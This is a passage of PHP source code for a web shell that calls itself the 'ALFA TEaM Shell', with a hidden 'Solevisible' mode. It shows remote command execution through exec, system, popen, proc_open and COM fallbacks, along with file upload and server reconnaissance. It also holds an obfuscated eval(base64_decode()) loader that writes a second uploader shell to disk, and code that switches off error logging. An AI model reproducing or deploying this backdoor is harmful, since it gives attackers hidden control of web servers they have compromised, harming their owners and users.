			if(strlen(_alfa_php_cmd("whoami"))==0||$all){
				$cmd = _alfa_cgicmd($in);
				if(!empty($cmd)){
					return $cmd;
				}
			}
		}
	}
	return $data;
}
function _alfa_php_cmd($in,$re=false){
$out=\'\';
try{
if($re)$in=$in." 2>&1";
if(function_exists(\'exec\')){
@exec($in,$out);
$out = @join("
",$out);
}elseif(function_exists(\'passthru\')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
}elseif(function_exists(\'system\')){
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists(\'shell_exec\')) {
$out = shell_exec($in);
}elseif(function_exists("popen")&&function_exists("pclose")){
if(is_resource($f = @popen($in,"r"))){
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
}elseif(function_exists(\'proc_open\')){
$pipes = array();
$process = @proc_open($in.\' 2>&1\', array(array("pipe","w"), array("pipe","w"), array("pipe","w")), $pipes, null);
$out=@stream_get_contents($pipes[1]);
}elseif(class_exists(\'COM\')){
$alfaWs = new COM(\'WScript.shell\');
$exec = $alfaWs->exec(\'cmd.exe /c \'.$_POST[\'alfa1\']);
$stdout = $exec->StdOut();
$out=$stdout->ReadAll();
}
}catch(Exception $e){}
return $out;
}
function _alfa_fsockopen($server,$uri,$post){
	$socket = @fsockopen($server, 80, $errno, $errstr, 15);
	if($socket){
		$http  = "POST {$uri} HTTP/1.0
";
		$http .= "Host: {$server}
";
		$http .= "User-Agent: " . $_SERVER[\'HTTP_USER_AGENT\'] . "
";
		$http .= "Content-Type: application/x-www-form-urlencoded
";
		$http .= "Content-length: " . strlen($post) . "
";
		$http .= "Connection: close

";
		$http .= $post . "

";
		fwrite($socket, $http);
		$contents = "";
		while (!@feof($socket)) {
			$contents .= @fgets($socket, 4096);
		}
		list($header, $body) = explode("

", $contents, 2);
		@fclose($socket);
		return $body;
	}else{
		return "";
	}
}
if(isset($_GET["solevisible"])){
@error_reporting(E_ALL ^ E_NOTICE);
echo \'<html>\';
echo "<title>Solevisible Hidden Shell</title>";
echo "<body bgcolor=#000000>";
echo \'<b><big><font color=#7CFC00>Kernel : </font><font color="#FFFFF">\'.(function_exists(\'php_uname\')?php_uname():\'???\').\'</font></b></big>\';
$safe_mode = @ini_get(\'safe_mode\');
if($safe_mode){$r = "<b style=\'color: red\'>On</b>";}else{$r = "<b style=\'color: green\'>Off</b>";}
echo "<br><b style=\'color: #7CFC00\'>OS: </font><font color=white>" . PHP_OS . "</font><br>";
echo "<b style=\'color: #7CFC00\'>Software: </font><font color=white>" . $_SERVER [\'SERVER_SOFTWARE\'] . "</font><br>";
echo "PHP Version: <font color=white>" . PHP_VERSION .  "</font><br />";
echo "PWD:<font color=#FFFFFF> " . str_replace("\","/",@alfaGetCwd()) . "/<br />";
echo "<b style=\'color: #7CFC00\'>Safe Mode : $r<br>";
echo"<font color=#7CFC00>Disable functions : </font>";
$disfun = @ini_get(\'disable_functions\');
if(empty($disfun)){$disfun = \'<font color="green">NONE</font>\';}
echo"<font color=red>";
echo "$disfun";
echo"</font><br>";
echo "<b style=\'color: #7CFC00\'>Your Ip Address is :  </font><font color=white>" . $_SERVER[\'REMOTE_ADDR\'] . "</font><br>";
echo "<b style=\'color: #7CFC00\'>Server Ip Address is :  </font><font color=white>".(function_exists(\'gethostbyname\')?@gethostbyname($_SERVER["HTTP_HOST"]):\'???\')."</font><br><p>";
echo \'<hr><center><form onSubmit="this.upload.disabled=true;this.cwd.value = btoa(unescape(encodeURIComponent(this.cwd.value)));" action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\';
echo \'CWD: <input type="text" name="cwd" value="\'.str_replace("\","/",@alfaGetCwd()).\'/" size="59"><p><input type="file" name="file" size="45"><input name="upload" type="submit" id="_upl" value="Upload"></p></form></center>\';
if(isset($_FILES[\'file\'])){
if(@move_uploaded_file($_FILES[\'file\'][\'tmp_name\'], __ZGVjb2Rlcg(@$_POST[\'cwd\']).\'/\'.$_FILES[\'file\'][\'name\'])){echo \'<b><font color="#7CFC00"><center>Upload Successfully ;)</font></a><font color="#7CFC00"></b><br><br></center>\'; }
else{echo \'<center><b><font color="#7CFC00">Upload failed :(</font></a><font color="#7CFC0"></b></center><br><br>\'; }
}
echo \'<hr><form onSubmit="this.execute.disabled=true;this.command_solevisible.value = btoa(unescape(encodeURIComponent(this.command_solevisible.value)));" method="POST">Execute Command: <input name="command_solevisible" value="" size="59" type="text" align="left" ><input name="execute" value="Execute" type="submit"><br></form>
<hr><pre>\';
if(isset($_POST[\'command_solevisible\'])){
if(strtolower(substr(PHP_OS,0,3))=="win")$separator=\'&\';else $separator=\';\';
$solevisible = "cd \'".addslashes(str_replace("\","/",@alfaGetCwd()))."\'".$separator."".__ZGVjb2Rlcg($_POST[\'command_solevisible\']);
echo alfaEx($solevisible);
}
echo\'</pre>
</body></html>\';
exit;}
@error_reporting(E_ALL ^ E_NOTICE);
@ini_set(\'error_log\',NULL);
@ini_set(\'log_errors\',0);
@ini_set(\'max_execution_time\',0);
@ini_set(\'magic_quotes_runtime\', 0);
@set_time_limit(0);
if(function_exists(\'set_magic_quotes_runtime\')){
@set_magic_quotes_runtime(0);
}
foreach($_POST as $key => $value){
if(is_array($_POST[$key])){
$i=0;
foreach($_POST[$key] as $f) {
$f = trim(str_replace(\' \', \'+\',$f));
$_POST[$key][$i] = decrypt_post($f);
$i++;
}
}else{
$value = trim(str_replace(\' \', \'+\',$value));
$_POST[$key] = decrypt_post($value);
}
}
$default_action = \'FilesMan2\';//\'FilesMan\';
$default_use_ajax = true;
$default_charset = \'Windows-1251\';
if(strtolower(substr(PHP_OS,0,3))=="win")
$GLOBALS[\'sys\']=\'win\';
else
$GLOBALS[\'sys\']=\'unix\';
$GLOBALS[\'home_cwd\'] = @alfaGetCwd();
$GLOBALS["need_to_update_header"] = "false";
$GLOBALS[\'glob_chdir_false\'] = false;
if(isset($_POST[\'c\'])){
if(!@chdir($_POST[\'c\'])){
	$GLOBALS[\'glob_chdir_false\'] = true;
}
}
$GLOBALS[\'cwd\'] = (isset($_POST[\'c\']) && @is_dir($_POST[\'c\']) ?$_POST[\'c\']:@alfaGetCwd());
if($GLOBALS[\'glob_chdir_false\']){
	$GLOBALS[\'cwd\'] = (isset($_POST[\'c\']) && !empty($_POST[\'c\']) ? $_POST[\'c\'] : @alfaGetCwd());
}
if($GLOBALS[\'sys\'] == \'win\'){
$GLOBALS[\'home_cwd\'] = str_replace("\", "/", $GLOBALS[\'home_cwd\']);
$GLOBALS[\'cwd\'] = str_replace("\", "/", $GLOBALS[\'cwd\']);
}
if($GLOBALS[\'cwd\'][strlen($GLOBALS[\'cwd\'])-1] != \'/\' )$GLOBALS[\'cwd\'] .= \'/\';
if(!function_exists(\'sys_get_temp_dir\')){function sys_get_temp_dir() {foreach (array(\'TMP\', \'TEMP\', \'TMPDIR\') as $env_var) {if ($temp = getenv($env_var)) {return $temp;}}$temp = tempnam($GLOBALS[\'__file_path\'], \'\');if (_alfa_file_exists($temp,false)) {unlink($temp);return dirname($temp);}return null;}}
if(!function_exists("mb_strlen")){
	function mb_strlen($str, $c=""){
		return strlen($str);
	}
}
if(!function_exists("mb_substr")){
	function mb_substr($str, $start, $end, $c=""){
		return substr($str, $start, $end);
	}
}
define("ALFA_TEMPDIR", (function_exists("sys_get_temp_dir") ? (@is_writable(str_replace(\'\\',\'/\',sys_get_temp_dir()))?sys_get_temp_dir():(@is_writable(\'.\')?\'.\':false)) : false));
function alfahead(){
$GLOBALS[\'__ALFA_SHELL_CODE\'] = \'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250PjwvYT48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48L2ZvbnQ+PC9jZW50ZXI+PGJyPlxuPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnIG5hbWU9J3VwbG9hZGVyJz4iO2VjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nO2lmKGlzc2V0KCRfUE9TVFsnX3VwbCddKSYmJF9QT1NUWydfdXBsJ109PSAiVXBsb2FkIil7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkge2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO31lbHNle2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO319ZWNobyAnPGNlbnRlcj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjMwcHg7IGJhY2tncm91bmQ6IHVybCgmcXVvdDtodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9iZ19lZmZlY3RfdXAuZ2lmJnF1b3Q7KSByZXBlYXQteCBzY3JvbGwgMCUgMCUgdHJhbnNwYXJlbnQ7IGNvbG9yOiByZWQ7IHRleHQtc2hhZG93OiA4cHggOHB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc+c29sZXZpc2libGVAZ21haWwuY29tPC9iPjwvYmlnPjwvc3Ryb25nPjwvc3Bhbj48L2NlbnRlcj4nOz8+\';
$alfa_uploader = \'$x = base64_decode("\'.$GLOBALS[\'__ALFA_SHELL_CODE\'].\'");$solevisible = fopen("solevisible.php","w");fwrite($solevisible,$x);\';
define("ALFA_UPLOADER", "eval(base64_decode(\'".__ZW5jb2Rlcg($alfa_uploader)."\'))");
if(!isset($_POST[\'ajax\'])){
function Alfa_GetDisable_Function(){
$disfun = @ini_get(\'disable_functions\');
$afa = \'<span class="header_show_all">All Functions Accessible</span>\';
if(empty($disfun))return($afa);
$s = explode(\',\',$disfun);
$s = array_unique($s);
$i=0;
$b=0;
$func = array(\'system\',\'exec\',\'shell_exec\',\'proc_open\',\'popen\',\'passthru\',\'symlink\',\'dl\');
$black_list = array();
$allow_list = array();
foreach($s as $d){
	$d=trim($d);
	if(empty($d)||!is_callable($d))continue;
	if(!function_exists($d)){
		if(in_array($d,$func)){
			$dis .= $d." | ";$b++;
			$black_list[] = $d;
		}else{
			$allow_list[] = $d;
		}
		$i++;
	}
}
if($i==0)return($afa);
if($i <= count($func)){
$all = array_values(array_merge($black_list, $allow_list));
return(\'<span class="disable_functions">\'.implode(" | ", $all).\'</span>\');
}
return(\'<span class="disable_functions">\'.$dis.\'</span><a id="menu_opt_GetDisFunc" href=javascript:void(0) onclick="alfa_can_add_opt = true;g(\'GetDisFunc\',null,\'wp\');"><span class="header_show_all">Show All (\'.$i.\')</span></a>\');
}
function AlfaNum(){
$args = func_get_args();
$alfax = array();
$find = array();
for($i=1;$i<=10;$i++){
$alfax[] = $i;
}
foreach($args as $arg){
$find[] = $arg;
}
echo \'<script>\';
foreach($alfax as $alfa){
if(in_array($alfa,$find))
continue;
echo \'alfa\'.$alfa."_=";
}
echo \'""</script>\';
}
if(empty($_POST[\'charset\']))
$_POST[\'charset\'] = $GLOBALS[\'default_charset\'];
$freeSpace = function_exists(\'diskfreespace\')?@diskfreespace($GLOBALS[\'cwd\']):\'?\';
$totalSpace = function_exists(\'disk_total_space\')?@disk_total_space($GLOBALS[\'cwd\']):\'?\';
$totalSpace = $totalSpace?$totalSpace:1;
$on="<span class=\'header_on\'> ON </span>";
$of="<span class=\'header_off\'> OFF </span>";
$none="<span class=\'header_none\'> NONE </span>";
if(function_exists(\'ssh2_connect\'))
$ssh2=$on;
else
$ssh2=$of;
if(function_exists(\'curl_version\'))
$curl=$on;
else
$curl=$of;
if(function_exists(\'mysql_get_client_info\')||class_exists(\'mysqli\'))
$mysql=$on;
else
$mysql=$of;
if(function_exists(\'mssql_connect\'))
$mssql=$on;
else
$mssql=$of;
if(function_exists(\'pg_connect\'))
$pg=$on;
else
$pg=$of;
if(function_exists(\'oci_connect\'))
$or=$on;
else
$or=$of;
if(@ini_get(\'disable_functions\'))
$disfun=@ini_get(\'disable_functions\');
else
$disfun="All Functions Enable";
if(@ini_get(\'safe_mode\'))
$safe_modes="<span class=\'header_off\'>ON</span>";
else
$safe_modes="<span class=\'header_on\'>OFF</span>";
$cgi_shell="<span class=\'header_off\' id=\'header_cgishell\'>OFF</span>";
if(@ini_get(\'open_basedir\')){
$basedir_data = @ini_get(\'open_basedir\');
if(strlen($basedir_data)>120){
$open_b=substr($basedir_data,0, 120)."...";
}else{
$open_b = $basedir_data;
}
}else{$open_b=$none;}
if(@ini_get(\'safe_mode_exec_dir\'))
$safe_exe=@ini_get(\'safe_mode_exec_dir\');
else
$safe_exe=$none;
if(@ini_get(\'safe_mode_include_dir\'))
$safe_include=@ini_get(\'safe_mode_include_dir\');
else
$safe_include=$none;
if(!function_exists(\'posix_getegid\'))
{
$user = function_exists("get_current_user")?@get_current_user():"????";
$uid = function_exists("getmyuid")?@getmyuid():"????";
$gid = function_exists("getmygid")?@getmygid():"????";
$group = "?";
}else{
$uid = function_exists("posix_getpwuid")&&function_exists("posix_geteuid")?@posix_getpwuid(posix_geteuid()):array("name"=>"????", "uid"=>"????");
$gid = function_exists("posix_getgrgid")&&function_exists("posix_getegid")?@posix_getgrgid(posix_getegid()):array("name"=>"????", "gid"=>"????");
$user = $uid[\'name\'];
$uid = $uid[\'uid\'];
$group = $gid[\'name\'];
$gid = $gid[\'gid\'];
}
$cwd_links = \'\';
$path = explode("/", $GLOBALS[\'cwd\']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a class=\'header_pwd\' onclick=\'g(\"FilesMan\",\"";
$cach_cwd_path = "";
for($j=0; $j<=$i; $j++){
$cwd_links .= $path[$j].\'/\';
$cach_cwd_path .= $path[$j].\'/\';
}
$cwd_links .= "\")\' path=\'".$cach_cwd_path."\' href=\'#action=fileman&path=".$cach_cwd_path."\'>".$path[$i]."/</a>";
}
$drives = "";
foreach(range(\'a\',\'z\') as $drive)
if(@is_dir($drive.\':\\'))
$drives .= \'<a href="javascript:void(0);" class="header_drive" onclick="g(\'FilesMan\',\'\'.$drive.\':/\')">[ \'.$drive.\' ]</a> \';
$csscode =\'	-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;\';
echo \'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="ROBOTS" content="NOINDEX, NOFOLLOW" />
<link href="\'.__showicon(\'alfamini\').\'" rel="icon" type="image/x-icon"/>
<title>..:: \'.$_SERVER[\'HTTP_HOST\'].\' ~ ALFA TEaM Shell - v\'.__ALFA_VERSION__.\'-\'.__ALFA_CODE_NAME__.\' ::..</title>
<style type="text/css">\';?>
.hlabale{color:#67abdf;border-radius:4px;border:1px solid #27979b;margin-left:7px;padding:2px}#tbl_sympphp tr{text-align:center}#PhpCode,.php-evals-ace,.view_ml_content{position:absolute;top:0;right:0;bottom:0;left:0;background:#1b292b26;top:50px}.editor-view{position:relative;height:100%}.view-content{position:absolute;overflow-y:auto;width:100%;height:93%}::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);border-radius:10px;background-color:#000115}::-webkit-scrollbar{width:10px;background-color:#000115}::-webkit-scrollbar-thumb{border-radius:10px;-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);background-color:#1e82b5}.editor-file-name{margin-left:29px;margin-top:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-icon{position:absolute}.is_active{background:rgba(49,55,93,.77);border-radius:10px}.history-list{height:88%;overflow-y:auto}.opt-title{position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);color:#2fd051;font-size:25px;font-family:monospace}.options_min_badge{visibility:hidden;text-align:center;right:30px;color:#fff;background:#2a8a24;padding:6px;border-radius:50%;width:15px;height:15px;display:inline-block;position:absolute;top:-7px}#cgiloader-minimized,#database_window-minimized,#editor-minimized,#options_window-minimized{display:block;position:fixed;right:-30px;width:30px;height:30px;top:30%;z-index:9999}.minimized-wrapper{position:relative;background:#0e304a;width:44px;height:130px;cursor:pointer;border-bottom-left-radius:5px;border-top-left-radius:5px}.minimized-text{transform:rotate(-90deg);color:wheat;font-size:x-large;display:inline-block;position:absolute;right:-51px;width:129px;top:-10px;border-top-left-radius:4%;height:56px;padding:3px}.close-button,.editor-minimize{height:26px;width:38px;right:7px;background:#1d5673;cursor:pointer;position:absolute;box-sizing:border-box;line-height:50px;display:inline-block;top:17px;border-radius:100px}.editor-minimize{right:50px}.close-button:after,.close-button:before,.editor-minimize:before{transform:rotate(-45deg);content:"";position:absolute;top:63%;right:6px;margin-top:-5px;margin-left:-25px;display:block;height:4px;width:27px;background-color:rgba(216,207,207,.75);transition:all .25s ease-out}.editor-minimize:before{transform:rotate(0)}.close-button:after{transform:rotate(-135deg)}.close-button:hover:after,.close-button:hover:before,.editor-minimize:hover:before{background-color:red}.close-button:hover,.editor-minimize:hover{background-color:rgba(39,66,80,.96)}#cgiloader,#database_window,#editor,#options_window{display:none;position:fixed;top:0;width:100%;height:100%;z-index:20}.editor-wrapper{width:100%;height:100%;position:relative;top:1%}.editor-header{width:97%;background:rgba(21,66,88,.93);height:37px;margin-left:13px;position:relative;border-top-left-radius:15px;border-top-right-radius:15px}.editor-path{position:absolute;font-size:x-large;margin-left:10px;top:6px;color:#00ff7f}.editor-modal{position:relative;top:0;background-color:rgba(0,1,23,.95);height:90%;margin-left:20%;margin-right:2%;border:2px #0e304a solid}.editor-explorer{width:19%;height:90%;background-color:rgba(0,1,23,.94);position:absolute;z-index:2;left:1%;border:2px #0e304a solid}.editor-controller{position:relative;top:-13px}.file-holder{position:relative;width:100%;height:30px}.file-holder>.history{position:absolute;color:#03b3a3;cursor:pointer;left:5px;font-size:18px;font-family:sans-serif;width:89%;height:100%;z-index:3;border-radius:10px;transition:background-color .6s ease-out}.file-holder>.history-close{display:block;opacity:0;position:absolute;right:2px;width:20px;top:4px;text-align:center;cursor:pointer;color:#fff;background:red;border-radius:100px;font-family:monospace;z-index:10;transition:opacity .6s ease-out;font-size:15px;height:19px}.file-holder>.history:hover{background-color:#646464}.editor-explorer>.hheader{position:relative;color:#14ff07;border-bottom:2px #206aa2 solid;text-align:center;font-family:sans-serif;margin-bottom:10px;height:55px}.editor-search{position:absolute;bottom:7px;left:31px}.hheader-text{position:absolute;left:8px;top:2px}.history-clear{position:absolute;right:8px;top:2px;cursor:pointer}.editor-body{position:relative;margin-left:3px;height:100%}.editor-anim-close{-webkit-animation:editorClose .8s ease-in-out forwards;-moz-animation:editorClose .8s ease-in-out forwards;-ms-animation:editorClose .8s ease-in-out forwards;animation:editorClose .8s ease-in-out forwards}@keyframes editorClose{0%{visibility:1;opacity:1}100%{visibility:0;opacity:0}}.editor-anim-minimize{-webkit-animation:editorMinimize .8s ease-in-out forwards;-moz-animation:editorMinimize .8s ease-in-out forwards;-ms-animation:editorMinimize .8s ease-in-out forwards;animation:editorMinimize .8s ease-in-out forwards}@keyframes editorMinimize{0%{right:0;opacity:1}100%{right:-2000px;opacity:0}}.editor-anim-show{-webkit-animation:editorShow .8s ease-in-out forwards;-moz-animation:editorShow .8s ease-in-out forwards;-ms-animation:editorShow .8s ease-in-out forwards;animation:editorShow .8s ease-in-out forwards}@keyframes editorShow{0%{right:-2000px;opacity:0}100%{right:0;opacity:1}}.minimized-show{-webkit-animation:minimizeShow .8s ease-in-out forwards;-moz-animation:minimizeShow .8s ease-in-out forwards;-ms-animation:minimizeShow .8s ease-in-out forwards;animation:minimizeShow .8s ease-in-out forwards}@keyframes minimizeShow{0%{right:-30px;opacity:0}100%{right:0;opacity:1}}.minimized-hide{-webkit-animation:minimizeHide .8s ease-in-out forwards;-moz-animation:minimizeHide .8s ease-in-out forwards;-ms-animation:minimizeHide .8s ease-in-out forwards;animation:minimizeHide .8s ease-in-out forwards}@keyframes minimizeHide{0%{right:0;opacity:1}100%{right:-30px;opacity:0}}.solevisible-text:hover{-webkit-text-shadow:0 0 25px #0f0;-moz-text-shadow:0 0 25px #0f0;-ms-text-shadow:0 0 25px #0f0;text-shadow:0 0 25px #0f0}.update-holder{position:fixed;top:0;background-color:rgba(0,24,29,.72);width:100%;height:100%}.update-content{position:relative}.update-content>a{text-decoration:none;position:absolute;color:rgba(103,167,47,.77);left:24%;margin-top:7%;font-size:40px}.update-close{position:absolute;right:0;margin-right:23px;top:10px;font-size:27px;background-color:#130f50;width:5%;border-radius:100px;cursor:pointer;border:2px #0e265a solid}.update-close:hover{border:2px #25ff00 solid;color:red}.filestools{height:auto;width:auto;color:#67abdf;font-size:12px;font-family:Verdana,Geneva,sans-serif}@-moz-document url-prefix(){#search-input{width:173px}.editor-path{top:3px}}.filters-holder{padding:5px;padding-left:10px}.filters-holder input{width:200px}.filters-holder span{color:#8bc7f7}#rightclick_menu{width:175px;visibility:hidden;opacity:0;position:fixed;background:#0f304a;color:#555;font-family:sans-serif;font-size:11px;-webkit-transition:opacity .5s ease-in-out;-moz-transition:opacity .5s ease-in-out;-ms-transition:opacity .5s ease-in-out;-o-transition:opacity .5s ease-in-out;transition:opacity .5s ease-in-out;-webkit-box-shadow:-1px 0 17px 0 #8b8b8c;-moz-box-shadow:-1px 0 17px 0 #8b8b8c;box-shadow:-1px 0 17px 0 #8b8b8c;padding:0;border:1px solid #737373;border-radius:10px}#rightclick_menu a{display:block;color:#fff;font-weight:bolder;text-decoration:none;padding:6px 8px 6px 30px;position:relative;padding-left:40px}#rightclick_menu a i.fa,#rightclick_menu a img{height:20px;font-size:17px;width:20px;position:absolute;left:5px;top:2px;padding-left:5px}#rightclick_menu a span{color:#bcb1b3;float:right}#rightclick_menu a:hover{color:#fff;background:#3879d9}#rightclick_menu hr{border:1px solid #ebebeb;border-bottom:0}.cl-popup-fixed{position:fixed;top:0;left:0;width:100%;height:100%;background:#201e1ead}#shortcutMenu-holder{position:absolute;top:40%;left:50%;transform:translate(-50%,-50%);background:#1f1e1edb;height:190px;width:500px;color:#fff}#shortcutMenu-holder>.popup-head{background:#207174;padding:6px;border-top:10px;text-align:center;font-family:sans-serif;color:#fff}#shortcutMenu-holder>form{padding:10px}#shortcutMenu-holder>form>label{display:block}#shortcutMenu-holder>form>input{width:99%;height:24px;margin-top:4px;color:#fff;outline:0;font-size:16px}#shortcutMenu-holder>.popup-foot{float:right;height:30px;margin-right:8px}#shortcutMenu-holder>.popup-foot>button{height:100%;cursor:pointer;color:#fff;outline:0}.php-terminal-output{overflow:auto;height:86%;border:1px solid #1e5673;border-radius:10px}.cmd-history-holder{visibility:hidden;opacity:0;position:absolute;color:#dff3d5;background:#093d58;top:-300px;height:300px;width:calc(69% + -11px);border-radius:10px 10px 0 0;left:calc(2% - 9px);transition:visibility .5s,opacity .5s linear}.cmd-history-holder .commands-history-header{background:#37504e;text-align:center;border-radius:10px 10px 0 0}.cmd-history-icon{width:27px;top:6px;left:calc(69% + 5px);position:absolute;cursor:pointer}.history-cmd-line{padding:4px;border-bottom:1px dashed;cursor:pointer}.history-cmd-line:hover{background:#961111}#myUL,#myUL ul{list-style-type:none}#myUL{margin:0;padding:0}.box{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.box::before{content:"0";color:#000;display:inline-block;margin-right:6px}.check-box::before{content:"1";color:#1e90ff}.nested{display:none}.active{display:block}.flag-holder>img{width:20px;vertical-align:middle;padding-left:6px}#options_window .content_options_holder .options_holder{position:relative;display:none;overflow:auto;min-height:300px;max-height:calc(100vh - 100px)}#options_window .content_options_holder .options_holder .header{min-height:50vh}#options_window .content_options_holder .options_holder.option_is_active{display:block}#options_window .content_options_holder .options_tab{padding:5px;margin-left:14px;margin-right:30px;background:#000;border-bottom:7px solid #0f304a;border-left:7px solid #0f304a;border-right:7px solid #0f304a;overflow-x:auto;white-space:nowrap}#filesman_tabs .filesman_tab img,#options_window .content_options_holder .options_tab .tab_name img,.editor-tab-name img,.sql-tabs .sql-tabname img,.terminal-tabs .terminal-tab img{width:10px;vertical-align:middle;margin-left:5px}#filesman_tabs .filesman_tab,#options_window .content_options_holder .options_tab .tab_name,.editor-tab-name,.sql-tabs .sql-newtab,.sql-tabs .sql-tabname,.terminal-tabs .terminal-tab{display:inline-block;background-color:#133d51;border-radius:4px;padding:5px;color:#fff;margin-right:3px;padding:5px;cursor:pointer;margin-bottom:1px;transition:background-color .5s}#filesman_tabs .filesman_tab{min-width:55px;text-align:center}#filesman_tabs .filesman_tab:hover,#options_window .content_options_holder .options_tab .tab_name:hover,.editor-tab-name:hover,.sql-tabs .sql-tabname:hover,.terminal-tabs .terminal-tab:hover{background-color:#a23939}.editor-tabs,.sql-tabs,.terminal-tabs{padding:5px;overflow-x:auto;white-space:nowrap}.options-loader-holder{position:absolute;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:11}.options-loader-holder img{position:absolute;top:32%;left:45%;transform:translate(-50%,-50%);width:100px;animation:spin 2s infinite}#filesman_tabs .filesman_tab.filesman-tab-active,#options_window .content_options_holder .options_tab .tab_name.tab_is_active,.editor-tab-name.editor-tab-active,.sql-tabname.sql-active-tab,.terminal-tab.active-terminal-tab{background-color:#009688}.tab-is-done{animation:2s tab_change_color infinite step-end}.stopAjax{color:#fff;font-size:20px;display:inline-block;padding:10px;cursor:pointer}#a_loader{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:#2b2626c7;z-index:99}.fmanager-row>td{position:relative}.fmanager-row .symlink_path{position:fixed;max-width:100%;background-color:#0f304a;border-radius:10px;font-size:15px;padding:8px;color:#fdf4f4;border:1px solid #8a8a8a;z-index:1;pointer-events:none}.archive-icons{vertical-align:middle}.archive-type-dir{font-weight:bolder}.archive-type-file{font-weight:unset}.archive-name{cursor:pointer}.archive_dir_holder a{color:#0f0;font-weight:bolder;cursor:pointer}.archive_dir_holder a:hover{color:#fff}.editor-content{height:100%}.editor-content-holder{height:90%}.editor-contents{display:none;position:relative;height:100%}.editor-contents.editor-content-active{display:block}.history-panel-controller{position:absolute;color:#fff;padding:10px;z-index:1000;border-radius:10px;top:50%;left:19%;background-color:#009687;cursor:pointer}.sql-content{display:none;position:relative;min-height:300px}.sql-content.sql-active-content{display:block}.pages-holder{padding:7px}.pages-number{display:inline-block;margin-left:10px}.pages-holder .pages-number a.page-number{padding:5px;background:#0f304a;margin-right:8px;cursor:pointer;width:33px;display:inline-block;text-align:center;border-radius:5px;color:#fff;transition:background .5s}.active-page-number{background:#10925c!important}.pages-number a.page-number:hover{background:#8a8a8a}.terminal-content{height:100%}.terminal-content,.terminal-tab{display:none}.terminal-content.active-terminal-content{display:block;position:relative}.terminal-btn-fontctl{background:#009688;width:50px;color:#fff;font-weight:bolder;outline:0;cursor:pointer}.alert-area{max-height:100%;position:fixed;bottom:5px;left:20px;right:20px;z-index:9999}.alert-box{font-size:16px;color:#fff;background:rgba(0,0,0,.9);line-height:1.3em;padding:10px 15px;margin:5px 10px;position:relative;border-radius:5px;transition:opacity .5s ease-in;-webkit-animation:alert-shake .5s ease-in-out;animation:alert-shake .5s ease-in-out}.alert-content-title{font-weight:700}.alert-box.alert-success{background:rgba(56,127,56,.89)}.alert-error{background:rgba(191,54,54,.89)}.alert-box.hide{opacity:0}.alert-close{background:0 0;width:12px;height:12px;position:absolute;top:15px;right:15px}.alert-close:after,.alert-close:before{content:"";width:15px;border-top:solid 2px #fff;position:absolute;top:5px;right:-1px;display:block}.alert-close:before{transform:rotate(45deg)}.alert-close:after{transform:rotate(135deg)}.alert-close:hover:after,.alert-close:hover:before{border-top:solid 2px #d8d8d8}@media (max-width:767px) and (min-width:481px){.alert-area{left:100px;right:100px}}@media 